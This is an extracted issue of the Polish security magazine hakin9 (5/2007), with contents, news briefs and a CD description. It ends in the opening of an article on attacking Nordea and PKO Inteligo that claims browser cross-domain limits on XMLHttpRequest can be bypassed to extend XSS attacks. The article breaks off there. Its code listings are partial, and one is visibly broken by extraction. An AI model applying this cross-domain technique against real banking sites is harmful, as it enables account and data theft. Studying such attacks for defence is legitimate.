plik

www.hakin9.org

hakin9 Nr 5/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Mateusz Stępień

Przedstawiamy garść najciekawszych wiadomości

ze świata bezpieczeństwa systemów informatycz-

nych i nie tylko...

Opis CD

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live.

Atak

Hakowanie Nordea i PKO Inteligo

Michał Majchrowicz

Michał w swoim artykule przedstawia garść informa-

cji dotyczących błędów Blind SQL Injection oraz jak

obejść ograniczenia XMLHttpRequest.

XSS – Cross-Site Scripting

Paul Sebastian Ziegler

Paul w swoim artykule przedstawia, jak wstrzykiwać

kod w podatne na atak witryny i jak zabezpieczyć

strony przeciwko atakom XSS.

Obrona

Adaptacyjne techniki

– wykrywanie intruzów

Michał Styś

Michał za pomocą swojego artykułu wyjaśnia co to

jest system wykrywania anomalii i jak wykorzystać go

do zwiększenia bezpieczeństwa systemu komputero-

wego. Opisuje także jak skonfigurować samouczący

się system wykrywania anomalii.

Ochrona fizyczna zasobów IT

Andrzej Guzik

Andrzej przekazuje wiadomości, jak dobrać zabez-

pieczenia czynne (osobowe) i bierne (budowlano-

mechaniczne i elektroniczne) zasobów IT instytucji.

Ochrona fizyczna jest najstarszą metodą ochrony

zasobów materialnych i informacyjnych. Stanowi ona

pierwszą linię obrony instytucji przed zagrożeniami.

Witamy!

Wraz z nadejściem wiosny oddajemy w Wasze ręce piąty

w tym roku numer hakin9 – miesiecznik! Poruszyliśmy już

wiele absorbujących tematów i pragniemy, aby i ten numer

był równie interesujący jak pozostałe. W związku z Pań-

stwa zainteresowaniem dotyczącym luk w najpopularniej-

szych serwisach internetowych postanowiliśmy pociągnąć

ten temat. Tym razem nasz autor Michał Majchrowicz zain-

teresował się bankiem Nordea i PKO Inteligo oraz histo-

rią włamań do Urzędu Miasta Łodzi, Głównego Inspektora-

tu Ochrony Środowiska i Ministerstwa Środowiska. Majowe

wydanie Hakin9 będzie obfite w artykuły dotyczące inwili-

gacji pracowników. Polecamy także materiał dotyczący ada-

ptacyjnych technik wspomagających wykrywanie intruzów

oraz zdalnej kontroli komputera z przeglądarki z wykorzy-

staniem technologii JEE 5, gdzie materiały źródłowe nasi

czytelnicy będą mogli znaleźć na płycie CD dołączonej do

magazynu. Dodatkowo CD zawiera 29 tutoriali i programy:

Novell SecureLogin, AntiSpyware, a-squared Anti-Malware

oraz Intelli HyperSpeed 2005.

Życzymy przyjemnej lektury!

Redakcja Hakin9

www.hakin9.org

hakin9 Nr 5/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

Active Directory

– delegowanie uprawnień

Paweł Baszkowski

Autor przekazuje wiadomości dotyczące Active

Directory oraz sposobu delegowania uprawnień w

AD i definiowania roli administratora.

Okiem wielkiego brata – inwigilacja

pracowników w firmie

Rafał Podsiadły

Rafał pragnie przekazać informacje, jak rozpoznać

inwigilowany komputer, jak przeprowadzić inwigilacje

oraz jak się przed nią zabezpieczyć.

Odzyskiwanie danych

z systemu Windows

Artur Żarski

Artur pragnie zapoznać czytelnika z aspektami sys-

temów plików w Windows oraz z kluczowymi aspek-

tami ich bezpieczeństwa w kontekście utraty danych.

Dodatkowo tekst opisuje podstawowe struktury danych

na dysku w różnych formatach oraz jak je archiwizo-

wać i odzyskiwać w przypadku uszkodzenia.

Narzędzia

JEE5 – zdalna kontrola

komputera

Błażej Lutkowski, Jacek Matulewski

Błażej i Jacek przedstawiają w swoim artykule w

jaki sposób napisać prostą aplikację klient – serwer,

pozwalającą na kontrolowanie zdalnego komputera

poprzez przeglądarkę internetową.

Łagodne wprowadzenie do kryptolo-

gii, czyli przygody Alicji i Bobka

Cezary G. Cerekwicki

Autor w swoim artykule przedstawia jak działa jeden z

najstarszych używanych do dzisiaj algorytmów krypto-

graficznych, pokazuje jak można ten algorytm złamać,

używając wybranych metod kryptoanalitycznych.

Księgozbiór

Recenzujemy książki: Wojna informacyjna i bezpie-

czeństwo informacji, Wojna strategiczna w cyber-

przestrzeni oraz Rewolucja w kryptografii.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor: Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor naczelny: Martyna Żaczek

martyna.zaczek@software.com.pl

Asystent redaktora: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Tłumaczenie: Krzysztof Trynkiewicz

Wyróżnieni betatesterzy: Amadeusz Jasak, Radosław Domański, Marcin

Kulawianek, Mateusz Lipiński, Damian Wędrocha, Borys Łącki

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

Skład i łamanie: Sławomir Zadrożny

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: monika.nowicka@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europejskich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 5/2007

www.hakin9.org

hakin9 Nr 5/2007

W skrócie

IE i FF mogą

kraść pliki z dysku

Luki w Internet Explorerze oraz Fire-

foksie mogą posłużyć do kradzie-

ży z dysków użytkowników plików z

danymi. Luka jest związana z funk-

cją uploadowania plików na serwe-

ry. Ofiara musi odwiedzić specjalnie

przygotowaną stronę oraz wpisać

wymagane znaki tworzące ścieżkę

dostępu do pliku – w dowolnej kolej-

ności, mogą być także przetyka-

ne innymi literami i cyframi – w pole

tekstowe. Dziura objawia się w Fire-

foksie (wersje 1.5 oraz 2.0) dla Win-

dows i systemów Unix (IE oczywi-

ście jest groźne pod Windows). W

sieci zostały opublikowane przy-

kładowe exploity, które po wpisa-

niu przez internautę odpowied-

niego zdania odczytują i wyświe-

tlają treść pliku boot.ini. Jak mówi

Michał Zalewski, odkrywca luki w FF

i twórca exploitów, dziura w Firefok-

sie to wariacja błędu zgłoszonego

do Bugzilli już w 2000 roku.

Krytyczny błąd

w Extreme-fusion!

Extreme-fusion i PHP-fusion to naj-

popularniejsze na świecie syste-

my zarządzania treścią, uznawa-

ne za jedne z najbardziej funkcjo-

nalnych i bezpiecznych. Ale czy tak

jest na pewno. rust rabbit i Sweet

wykryli krytyczny błąd, który pozwa-

la na przejęcie całkowitej kontroli

nad portalem.

Błąd znajdował się w pliku sub-

mit.php. Luka związana była z bra-

kiem odpowiednich zabezpie-

czeń przy dodawaniu treści przez

użytkownika. Napastnik bez pro-

blemów może wprowadzić na

serwer w żaden sposób nie pre-

parowane pliki, zawierające zło-

śliwy kod, co w efekcie pozwala

przejąć pełną kontrole nad porta-

lem i bazą danych, a w skrajnych

przypadkach nawet nad serwe-

rem, na którym znajduje się strona.

Kod jest na tyle groźny, że pozwa-

la crackerowi zniszczyć zawar-

tość portalu w przeciągu kilku

minut. Wykorzystując lukę można

uzyskać dostęp do bazy danych

w ciągu 5 sekund!!! I to nie żart.

Dodatkowo ataki tą metodą są cał-

kowicie niewykrywalne.

Poprawka eliminująca błąd napi-

sana przez Sweet'a jest dostępna

na stronie http://hack.pl/labs/EF_

update(4.04).zip. Wszystkim użyt-

kownikom fusiona zaleca się doko-

nanie aktualizacji.

Ukradli Ci laptopa? Zapłacisz karę!

nia 14 lutego jeden z najwięk-
szych brytyjskich dostawców

usług finansowych, oferujących usługi
bankowe oraz inne usługi finansowe,
a w szczególności długoterminowe
kredyty mieszkaniowe, został ukara-
ny przez FSA (ang. Financial Servi-

ces Authority – odpowiednik polskiej
Komisji Nadzoru Bankowego) man-
datem w wysokości 980 000 funtów
brytyjskich (około 5 693 000 PLN) za

brak efektywnego systemu i narzędzi

kontroli w dziedzinie zarządzania bez-

pieczeństwem informacji.

Nationwide – bo o nim właśnie

mowa  –  będący  największą  brytyj-
ską  instytucją  zajmującą  sie  kredy-
tami  mieszkaniowymi,  został  uka-
rany  za  utratę  laptopa  zawierające-
go dane swoich klientów (ilu klientów
tego  nie  podano).  Niemniej  jednak
do wszystkich klientów (11 mln osób)
wysłano  listy  z  przeprosinami  za
zaistniałą  sytuację  i  zapewniono  o

poprawnym zabezpieczeniu danych
znajdujących się na skradzionym
laptopie.

Laptop został skradziony w sierp-

niu  2006r.  z  domu  jednego  z  pra-
cowników firmy, podczas gdy ten był
na  wakacjach.  Informacje  o  klien-
tach były używane przez pracownika
w  celach  marketingowych.  Ponadto
firma przyznała, że nie podjęła żad-
nych działań przez pierwsze 3 tygo-
dnie po odkryciu kradzieży.

Oszuści przejmowali dane Super Sprzedawców

na Allegro

olicjanci z Wydziału do Walki
z Przestępczością Gospodar-

czą  Komendy  Wojewódzkiej  Poli-
cji w Łodzi dzięki stałej współpracy
z działem bezpieczeństwa znanego
portalu  zatrzymali  oszustów  inter-
netowych.  Już  cztery  godziny  po
ostatnim włamaniu łódzcy policjan-
ci ustalili miejsce pobytu hakerów.

Zatrzymali ich w Legionowie

w kawiarence internetowej w czasie,
kiedy  surfowali  w  Sieci  usiłując
przejąć  kolejne  konto  użytkownika
portalu.  Dwaj  mężczyźni  w  wieku
24 lat z województwa mazowieckie-
go byli już wcześniej notowani przez
policję.

Jeden z nich jest znanym w śro-

dowisku  hakerem,  który  był  karany
za  przestępstwa  internetowe.  Męż-
czyźni za pomocą specjalnego pro-
gramu  komputerowego  przejmowa-
li  tożsamość  internetową  m.in.  tzw.

Super Sprzedawców.

Sprawcy włamując się przejmo-

wali całą tożsamość: nazwę, adres,
opinie,  konta  oraz  hasła  dostę-
pu. Dzięki takiej operacji byli nie do
odróżnienia od autentycznych sprze-
dawców.  Po  przejęciu  tożsamości
zawierali  fikcyjne  transakcje  inter-
netowe bazując na dotychczasowym
zaufaniu  internautów  do  sprzedaw-
ców,  a  wpływy  z  tych  gównie  hur-
towych operacji kierowali na własne
konta. Tym sposobem oszuści dzia-
łali  na  szkodę  klientów,  ale  przede
wszystkim sprzedawców, którym ruj-
nowali  opinie,  a  tym  samym  wyklu-
czali z rynku.

Jak wynika z dotychczasowych

ustaleń podszyli się pod 16 sprze-
dawców  i  wyłudzili  co  najmniej
56.000  zł.  Policjanci  zabezpieczy-
li  cztery  dyski  twarde  komputerów
używanych  przez  hakerów.  Trwają
czynności  wyjaśniające  w  tej  roz-
wojowej sprawie.

W skrócie

hakin9 Nr 5/2007

www.hakin9.org

hakin9 Nr 5/2007

W skrócie

McAfee SiteAdvisor

McAfee wydało nowe narzędzie

SiteAdvisor, które pomaga w bez-

piecznym przeszukiwaniu i prze-

glądaniu stron internetowych,

oferuje ochronę przed phishin-

giem. Komputery użytkowników,

którzy zainstalują bezpłatnie udo-

stępnione oprogramowanie Site-

Advisor, otrzymają zaawanso-

waną zaporę anty-phishingo-

wą, pracującą w czasie rzeczywi-

stym. Nowe zabezpieczenie łączy

w sobie białe listy, czarne listy i

heurystyki, aby jak najwcześniej

ostrzegać użytkowników przed

fałszywymi stronami mogącymi

zagrażać bezpieczeństwu ich toż-

samości. Według Anti-Phishing

Working Group tylko w okresie od

października 2005 do października

2006, liczba ataków phisingowych

przeprowadzonych za pomocą

stron WWW, wzrosła o 75%.

Poważna luka

w User Account Control

Joanna Rutkowska wykry-

ła poważną lukę projektową w

Microsoft Vista. Błąd znajduje się

mechanizmie User Account Con-

trol, który odpowiedzialny jest

za zmniejszenie pola ataku oraz

pomoc w zapobieganiu i informo-

waniu nas o próbach nieautoryzo-

wanych zmian w systemie, które

bez naszej wiedzy mogłyby zostać

wprowadzone przez wszelkiego

rodzaju malware.

Joanna wykryła, że w nowym

systemie Microsoftu UAC auto-

matycznie nadaje każdemu pro-

gramowi instalacyjnemu upraw-

nienia administratora – niezależ-

nie od tego, czy użytkownik chce

zainstalować pakiet biurowy, czy

też inny program. UPC rozpo-

znaje instalatory między innymi

po nazwie setup. Każdy program

uruchomiony z uprawnieniami

administratora będzie miał dostęp

np. do ładowania modułów jądra

systemu.

Duży atak na serwery DNS

nia 6 lutego miał miejsce naj-
większy od 2002 roku atak na

13 głównych internetowych serwe-
rów nazw (tzw. root serwery). Ata-
kującym udało się przeszkodzić
w pracy dwóch maszyn. Użytkow-
nicy nie odczuli problemów z dzia-
łaniem Sieci, ale przedstawiciele

ICANN przyznają, że była to dla
nich ciężka noc.

Root serwery to komputery kie-

rujące na co dzień ruchem w inter-
necie. Nie wiedząc o tym, często się
z  nimi  kontaktujemy.  To  one  prze-
chowują  zaaprobowane  przez  rząd
amerykański listy domen takich jak
choćby  .COM.  Również  one  tłuma-
czą  nazwy  wpisywanych  do  prze-
glądarki  adresów  w  postaci  tekstu
na adresy numeryczne.

Atak DDoS na te komputery

rozpoczął  się  5  lutego  wieczorem
i trwał prawie 12 godzin. Ben Petro
z firmy Neustar domyśla się, że do
jego  użycia  wykorzystano  botnet,
czyli  sieć  osobistych  komputerów
kontrolowanych  przez  cyberprze-
stępców.

W czasie ataku ucierpiały dwie

maszyny należące do amerykańskie-
go Departamentu Obrony i ICANN.
Zaczęły się one zawieszać pod wpły-
wem przeciążenia spowodowanego

napływem niepotrzebnych informacji.
Mimo to ani na chwilę nie było przerw
w działaniu Internetu.

Zdaniem specjalistów atak nie

miał bardzo dużej mocy, ale z pew-
nością  był  skierowany  właśnie  na
root serwery. John Crain z ICANN
mówi, że jak na razie bardzo trudno
ustalić jego źródło i prawdziwy cel.
W  tej  chwili  wydaje  się,  ze  celem
ataku  miała  być  firma  UltraDNS,
która operuje serwerami zarządza-
jącymi ruchem m. in. do stron, któ-
rych  adresy  kończą  się  końców-
ką .org.

Porozmawiaj ze mną...

indows Vista posiada wbudo-
wany system rozpoznawania

głosu. Nie tylko wbudowany ale rów-
nież domyślnie włączony! Nie trudno
się domyślić, że tak daleko posunię-
te zaufanie to (dosłownie) proszenie
się o problemy.

Okazuje się, że taka konfigu-

racja  stwarza  kolejne  zagrożenie.
Pomysł  sam  w  sobie  jest  bajecz-
nie prosty – wystarczy nagrać plik
audio z sekwencją poleceń a póź-
niej  odtworzyć  go  tak,  aby  mikro-
fon słyszał odtwarzane nagranie.

Ponieważ system rozpozna-

wania głosu umożliwia uruchomie-
nie dowolnej aplikacji (włączając to

pobranie  jej  wcześniej  z  Internetu),
wirtualnie  możliwe  jest  przeprowa-
dzenie praktycznie dowolnego ataku.
Przy  odpowiednio  spreparowanym
nagraniu  teoretycznie  możliwe  jest
stworzenie robaka, który będzie się
sam rozsyłał, a nawet infekował inne
komputery (na przykład w sali z kil-
koma maszynami zareagować może
więcej niż jedna).

Podobny problem wystąpił w

MacOS (około 15 lat temu) – można
było dla zabawy wyłączyć kompu-
ter koledze (nawet jeśli na nim pra-
cował) poprzez wydanie odpowied-
niego polecenia.

hakin9.live

hakin9 Nr 5/2007

www.hakin9.org

Na dołączonej do pisma płycie znajduje się hakin9.live
(h9l) w wersji 3.2.2-aur – bootowalna dystrybucja Auroxa,
zawierająca przydatne narzędzia, dokumentację, tutoria-
le i materiały dodatkowe do artykułów. Aby zacząć pra-
cę z hakin9.live, wystarczy uruchomić komputer z CD. Po
uruchomieniu systemu możemy zalogować się jako użyt-
kownik hakin9 bez podawania hasła.

Materiały dodatkowe zostały umieszczone

w następujących katalogach:

•   29 tutoriali – w tym jeden nowy:
  Metasploit – Exploiting framework;
•   Aurox-Live;
•   materiał  uzupełniający  do  artykułu  Zdalna  kontrola

komputera z przeglądarki z wykorzystaniem techno-

logii JEE 5.

Programy:

•   Novell SecureLogin 6.0.1;
•   AntiSpyware by Ashampoo;
•   a-squared Anti-Malware by EmsiSoft;
•   Intelli HyperSpeed 2005 by Iobit.

Żeby  uruchomić  swój  komputer  z  płyty  Hakin9.live,
ustaw  swój  BIOS  na  bootowanie  z  napędu  CD-ROM.
Po  dokonanych  zmianach  uruchom  ponownie  kompu-
ter. Uruchomi się dystrybucja hakin.live, na której mo-
żesz przećwiczyć techniki prezentowane w tutorialach.
Upewnij  się  Drogi  Czytelniku  czy  sprawdziłeś  deskto-
powe  foldery  –  zawierają  wiele  dodatkowych  materia-
łów.  Zawartość  CD  można  również  przejrzeć  w  syste-
mie Windows.

Tutoriale i dokumentacja

W  skład  dokumentacji,  oprócz  standardowych  dla
Linuksa  stron  pomocy  (strona  manualna),  z  których
skorzystać  możemy  poprzez  konsolę  wydając  pole-
cenie man [nazwa programu], wchodzą między innymi
tutoriale,  przygotowane  przez  redakcję.  Na  CD  opra-
cowane  zostały  praktyczne  ćwiczenia  do  jednego  ar-
tykułu – Metasploit, który znajduje się Hakin9 4/2007.
Zakładamy, że podczas wykonywania ćwiczeń związa-
nych z artykułami i tutorialami, użytkownik korzysta z

hakin9.live. Na płycie znajdą się również materiały po-
mocnicze do artykułu Jacka Matulewskiego i Błażeja
Lutkowskiego Zdalna kontrola komputera z przeglądar-

ki z wykorzystaniem technologii JEE 5.

Zawartość CD

Novell SecureLogin

To rozwiązanie SSO do bezpiecznego i jednokrotnego
uwierzytelniania do wszystkich zasobów elektronicznych
w sieci (SSO – Single Sign – On). Program ten identyfi-
kuje w jakim czasie zachodzi logowanie oraz bezpiecznie
gromadzi informacje użytkownika w usłudze katalogowej.
SecureLogin zapewnia użytkownikom dostęp do aplika-
cji, narzędzi, danych, informacji poprzez jednokrotne logo-
wanie do firmowego katalogu. Program ten potrafi lokalnie
buforować zaszyfrowane hasła, więc użytkownicy niepod-
łączeni do sieci mogą korzystać z jednokrotnej autoryzacji.

Novell SecureLogin to wygodny dostęp dla użytkowników
i bezpieczeństwo zasobów. Gromadzone hasła i informa-
cje w systemie katalogowym są objęte dodatkową ochro-
ną – administratorzy mają możliwość kasowania haseł, ale
nie są w stanie na ich odczytanie lub przejęcie przez zmia-
nę hasła do firmowego katalogu. Oprogramowanie można
uruchomić w oparciu o Microsoft Active Directory, Novell
eDirectory lub usługi katalogowe zgodne z LDAP v3.

Novell SecureLogin dodatkowo zapewnia:

• centralną administrację systemem i konfiguracją na

stacjach roboczych;

• wykorzystanie szyfrowania AES jak również szyfro-

wanie sekretów za pomocą PKI;

• wspomaganie aplikacji Java i apletów Swing i AWT

– based Java;

• blokowanie stacji, zamykanie aplikacji i wylogowanie

użytkownika w zależności od zastosowanych reguł;

• wspomaganie zaawansowanych metod uwierzytel-

niania;

• wymuszanie polityki haseł o określanej charakterystyce;
• integrację z Smart Cards.

Rysunek 1.

Novell

hakin9.live

hakin9 Nr 5/2007

www.hakin9.org

AntiSpyware by Ashampoo

Aplikacja, która w znakomity sposób chroni komputer
użytkownika przed jakimikolwiek zagrożeniami z Inter-
netu. Jest znakomitym sposobem na ochronę przed nie-
chcianymi programami związanymi z przechwytywaniem
haseł oraz dialery, szpiegi, adware, wirusy, trojany i inne.
Częste aktualizacje i wysoka obsługa techniczna.

A-squared Anti-Malware by EmsiSoft

Od kilku lat austriacka firma Emsi Software GmbH jest
znana z produktów zabezpieczających. Chcemy przed-
stawić trzy z nich, oferujemy pełne wersje programów
czytelnikom.

A-squared Anti-Malware

Jest wiele produktów zabezpieczających, ale tylko nie-
które z nich mogą pretendować do zapewnienia efek-
tywnej  ochrony  przed  wszystkimi  typami  zagrożeń.
Głównym  powodem  tego  jest  odwieczna  walka  po-
między  hakerami  a  przemysłem  bezpieczeństwa,  co
można przyrównać do gry w kotka i myszkę. Normal-
ne oprogramowanie zabezpieczające jest ograniczone
przez  fakt,  iż  zabezpiecza  tylko  przed  rozpoznanymi
zagrożeniami.

To nie oznacza że uszkodzone oprogramowanie

całkowicie bazuje na podpisie, ale wygląda to jakby
tak było. To oznacza, że użytkownik będzie chronio-
ny przed tysiącami nowych trojanów, dialerów i rootki-
tów, które pojawiają się każdego dnia. Chronimy użyt-
kownika sześciomiesięczną pełną wersją a-squared
Anti-Malware poprzez kod:

doreye4058

Screenshot: http://www.emsisoft.com/images/en/a2pe/

securitystatus.jpg

A-squared free

Bezpieczeństwo  nie  jest  uprzywilejowane.  Według
motta, Emsi Software jest wolne od opłat dla prywat-
nego użytku. Jest to pełna wersja narzędzi do czysz-
czenia  komputera  użytkownika  od  zagrożeń.  Wykry-
wa  nie  tylko  spywery,  ale  i  specjalne  trojany,  dialery
i  wiele  innych  destruktywnych  szkodników,  które  mo-
gą spowodować niebezpieczeństwo podczas surfowa-
nia po sieci. Porada: wersja testowa na stronie http://

malwarescan.emsisoft.com/.

Funkcjonalność jest taka sama, ale odpowiednia jest

niekonwencjonalna instalacja.

Screenshot: http://www.emsisoft.com/images/en/a2fr/

scantype.jpg.

A-squared HiJackFree

A-squared HiJackFree jest systemem analizującym na-
rzędzia, które pomagają zaawansowanym użytkownikom
wykryć i usunąć wszytskie typy hiJackers, spyware, ad-
ware, trojany. Windows bazuje na PC HiJackFree i jest
częścią rozwiązań a-squared Anti-malware.

Screenshot: http://www.hijackfree.de/images/en/

autoruns.jpg

Intelli HyperSpeed 2005 by Iobit

Intelli HyperSpeed jest niezwykła aplikacją pozwala-
jącą na szeroką optymalizację systemu operacyjne-
go i dokładne zoptymalizowanie jego działania na po-
trzeby gier, multimediów czy też potężnych obliczeń
matematycznych.

Rysunek 3.

Scantype

Rysunek 4.

Security status

Rysunek 2.

Autoruns

Luki w serwisach Nordea i PKO Inteligo

hakin9 Nr 5/2007

www.hakin9.org

przyrostowych aktualizacji w interfej-
sie  użytkownika  bez  potrzeby  prze-
ładowywania całej strony w przeglą-
darce.  To  sprawia,  że  aplikacja  wy-
daje się być szybsza i lepiej reagu-
je  na  akcje  użytkownika.  Jak  widzi-
my, kluczem do technologi AJAX jest
obiekt XMLHttpRequest. Nie jest to,
jak można by sądzić, jakaś magiczna
skrzynka,  dzięki  której  strony  nagle
wyglądają  ładniej.  Zatem  cóż  to  ta-
kiego?  XMLHttpRequest  (XHR)  jest
zbiorem  programistycznych  interfej-

sów  aplikacyjnych,  które  mogą  być
używane  przez  JavaScript,  JScript,
VBScript oraz inne języki skryptowe
przeglądarek internetowych do prze-
kazywania  XML  lub  innych  danych
do  oraz  z  serwera  internetowego,
używając  protokołu  HTTP.  XMLHt-
tpRequest  było  pierwotnie  stworzo-
ne przez Microsoft, jako część usłu-
gi OWA (Outlook Web Access) 2000.
Implementacja  Microsoftu  nazy-
wa się XMLHTTP. Wykorzystywana
jest w Internet Explorerze, poczyna-

jąc od wersji 5.0 i jest dostępna po-
przez  JScript,  VBScript  i  inne  języ-
ki  skryptowe  obsługiwane  przez  IE.
Pierwsza  natywna  implementacja
XMLHttpRequest  została  włączo-
na  przez  Mozillę  do  Mozilla  Appli-
cation Suite 1.0 w 2002 roku. Imple-
mentacja  ta  była  potem  obsługiwa-
na przez Apple w Safari 1.2, Konqu-
eror, Opera Software (od Opery 8.0)
i  iCab  (od  wersji  3.0b352).  Konsor-
cjum  World  Wide  Web  opublikowa-
ło  szkic  (Working  Draft)  specyfika-
cji obiektu XMLHttpRequest 5 Kwiet-
nia 2006 roku. Jest ona ciągle opra-
cowywana, a jej cel polega na tym,
by dokumentować minimalny zestaw
wspólnych  cech  istniejących  imple-
mentacji, umożliwiając tworzenie ko-
du bez oddzielnych bloków tekstu dla
różnych platform. Szkicowa specyfi-
kacja jest bazowana na implementa-
cjach popularnych przeglądarek, aby
zapewnić przenośność kodu. Dzięki
tej  garści  wiadomości  łatwo  można
zrozumieć  rolę,  jaką  odegrała  firma
Google w rozwoju technologii AJAX.
Mimo że obiekt XMLHttpRequest był
już  obsługiwany  przez  przeglądar-
ki z rodziny Gecko i Internet Explo-
rera, to programiści Opery cały czas
zwlekali  z  jego  implementacją.  Po-
wód był prosty, a ta historia przypo-
mina dzieje CSS. Chociaż były one
dostępne, przez długi czas przeglą-
darki  ich  nie  obsługiwały.  Zmieniło
się  to  w  chwili,  gdy  użytkownicy  In-
ternetu zaczęli zmieniać przeglądar-
ki (sam przesiadłem się z Opery na
Mozilla Firefox), by móc korzystać z
serwisów wymagających technologii
AJAX. Gdy otrzymałem zaproszenie
do Gmaila, był to jeszcze projekt za-
mknięty. Dostęp do niego mieli jedy-
nie ci użytkownicy, którzy zarejestro-
wali się pierwszego dnia. W tym mo-
mencie  uzyskali  oni  możliwość  wy-
słania zaproszeń, przy czym jedynie
do trzech osób i na pewnych warun-
kach.  Miałem  szczęście  otrzymać
jedno  z  nich.  Pamiętam  jaki  byłem
zaskoczony, zawiedziony i wściekły,
gdy przy pierwszej próbie logowania
do Gmaila dowiedziałem się, że nie
mogę  z  niego  korzystać,ponieważ
moja  przeglądarka  nie  jest  z  nim  w
pełni kompatybilna.

Listing 1.

Przykładowa strona internetowa

<?xml version="1.0" encoding="iso-8859-2"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl-PL">
<head>
<meta http-equiv="Content-type" content="text/html; charset=iso-8859-2" />
<meta http-equiv="Content-Language" content="pl" />
<title> My test page 1</title>
<script src="http://sectroyer.110mb.com/normal.js" type="text/javascript">
</script>
<script src="http://sectroyer.110mb.com/myxmlhttprequest.js"
type="text/javascript">
</script>
</head>

<body>
<div style="color: green; text-align: center;">My test 1</div>
<p>
<a href="http://validator.w3.org/check?uri=referer">
<img src="http://www.w3.org/Icons/valid-xhtml11"
alt="Valid XHTML 1.1" height="31" width="88" />
</a>
</p>
<script src="http://sectroyer.110mb.com/abnormal.js" type="text/

javascript">

</script>
</body>
</html>

Listing 2.

Plik normal.js

(window.XMLHttpRequest)

req

new

XMLHttpRequest()

;

else

req

new

ActiveXObject(

"Microsoft.XMLHTTP"

)

;

function

callback

()

{

(req.readyState

)

{

alert

(req.responseText)

;

}

req.onreadystatechange

callback

;

req.

open

(

"GET"

"/"

,true)

;

req.send(null)

;

hakin9 Nr 5/2007

www.hakin9.org

Atak

Spójrzmy jednak na ten obiekt

ze  strony  atakującego.  Dotychczas
możliwości  ataku  za  pomocą  kodu
JavaScript  były  ograniczone.  Moż-
na  było  jedynie  przekazywać  nie-
które parametry do witryny poprzez
GET (np. ładując obiekt IMG). Agre-
sor  nie  miał  też  żadnej  możliwo-

ści pobierania wyniku swojej opera-
cji.  Innymi  słowy,  korzystając  z  lu-
ki  XSS  w  jakimś  serwisie  poczto-
wym  mógł  on  jedynie  pobrać  dane
znajdujące się w ciasteczkach i tre-
ści  strony,  ale  wykonanie  np.  zapy-
tania  index.php?action=pokaz_da-

ne i uzyskanie jego rezultatów było

poza jego zasięgiem. Korzystanie z
XMLHttpRequest takie ograniczenia
likwiduje. Haker może wykonać wie-
le  operacji  i  użytkownik  nie  będzie
nawet o tym wiedział. Atakujący ma
możliwość  zarówno  przetwarzania
wyników  zapytań  GET,  jak  i  POST.
Ta  broń  jest  już  teraz  aktywnie
wykorzystywana w realnym świecie.
Programiści  przeglądarek  interne-
towych  postanowili  ograniczyć  pole
ataku, nakładając na XMLHttpRequ-
est restrykcje. W Mozilla Firefox i In-
ternet Explorer 7 obiekt ten nie może
wykonywać zapytań do różnych do-
men, czyli na przykład kod wykony-
wany  na  stronie  server.com  nie  ma
prawa wysłać do (lub pobrać danych
ze) strony server2.com. Po dłuższej
analizie  tego  zagadnienia  dosze-
dłem do wniosku, iż takie ogranicze-
nie jedynie utrudnia życie programi-
stom,  a  nie  potencjalnym  napastni-
kom.  Wyniki  badań  możemy  zoba-
czyć na Listingu 1.

Na tej stronie ładowane są trzy

pliki  JavaScript:  normal  –  korzysta-
jący  z  obiektu  XMLHttpRequest,
myxmlhttprequest  –  definicja  moje-
go  obiektu  zapewniającego  podob-
ną  funkcjonalność  oraz  abnormal.js
–  plik  wykorzystujący  stworzoną
przeze  mnie  implementację.  Pliki  te
można zobaczyć na Listingu 2.

Struktura obiektu MyXMLHttpRe-

quest w stosunku do XMLHttpRequ-
est różni się w dwóch punktach: po
pierwsze  odpowiedź  jest  przekazy-
wana  jako  parametr  funkcji,  a  nie
zmienna  wewnątrz  klasy;  po  drugie
można  wykonywać  jedynie  zapyta-
nia  asynchroniczne.  A  efekt  działa-
nia  kodu  możemy  zobaczyć  na  Ry-
sunku 1.

Należy jeszcze wspomnieć o

